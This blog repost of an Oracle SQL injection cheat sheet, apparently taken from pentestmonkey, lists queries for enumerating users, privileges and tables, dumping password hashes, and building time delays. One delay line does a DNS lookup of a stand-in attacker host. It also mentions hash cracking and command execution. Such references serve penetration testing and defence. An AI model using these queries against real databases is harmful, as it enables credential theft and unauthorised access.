Oracle SQL Injection Cheat Sheet

Posted: 31 janeiro 2012 by Bhior in Marcadores: , ,
0

Version:
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;

Comments
SELECT 1 FROM dual -- comment
-- NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.

Current User
SELECT USER FROM dual

List Users
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.USER$; -- priv

List Password Hashes
SELECT name, password, astatus FROM sys.USER$ -- priv, <= 10g.  astatus tells you if acct is locked
SELECT name,spare4 FROM sys.USER$ -- priv, 11g

Password Cracker
checkpwd quebrará o hashes DES-based da Oracle 8, 9 e 10

List Privileges
SELECT * FROM session_privs; -- current privs
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's privs
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; -- priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

List DBA Accounts
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; -- priv, list DBAs, DBA roles

Current Database
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;

List Databases
SELECT DISTINCT owner FROM all_tables; -- list schemas (one per user)
-- Also query TNS listener for other databases.  See tnscmd (services | status).

List Columns
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME = 'blah';
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME = 'blah' AND owner = 'foo';

List Tables
SELECT TABLE_NAME FROM all_tables;
SELECT owner, TABLE_NAME FROM all_tables;

Find Tables From Column Name
SELECT owner, TABLE_NAME FROM all_tab_columns WHERE column_name LIKE '%PASS%'; -- NB: table names are upper case

Select Nth Row
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; -- gets 9th row (rows numbered from 1)

Select Nth Char
SELECT substr('abcd', 3, 1) FROM dual; -- gets 3rd character, 'c'

Bitwise AND
SELECT bitand(6,2) FROM dual; -- returns 2
SELECT bitand(6,1) FROM dual; -- returns0

ASCII Value -> Char
SELECT chr(65) FROM dual; -- returns A

Char -> ASCII Value
SELECT ascii('A') FROM dual; -- returns 65

Casting
SELECT CAST(1 AS CHAR) FROM dual;
SELECT CAST('1' AS INT) FROM dual;

String Concatenation
SELECT 'A' || 'B' FROM dual; -- returns AB

If Statement
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; -- doesn't play well with SELECT statements

Case Statement
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- returns 2

Avoiding Quotes
SELECT chr(65) || chr(66) FROM dual; -- returns AB

Time Delay
BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- if reverse looks are slow
SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if forward lookups are slow
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; -- if outbound TCP is filtered / slow
-- Veja também Consultas Queries para criar um time delay

Make DNS Requests
SELECT UTL_INADDR.get_host_address('google.com') FROM dual;
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;

Command Execution
Java pode ser usado para executar comandos se ele estiver instalado.
Extproc às vezes pode ser usado também.

Local File Access
UTL_FILE às vezes pode ser usado. Verifique se o seguinte não é nulo:
SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';
Java pode ser usado para ler e gravar arquivos se for instalado (ele não está disponível no Oracle Express)

Hostname, IP Address
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP address
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- gets hostnames

Location of DB files
SELECT name FROM V$DATAFILE;

Default/System Databases
SYSTEM
SYSAUX

Fonte: http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet

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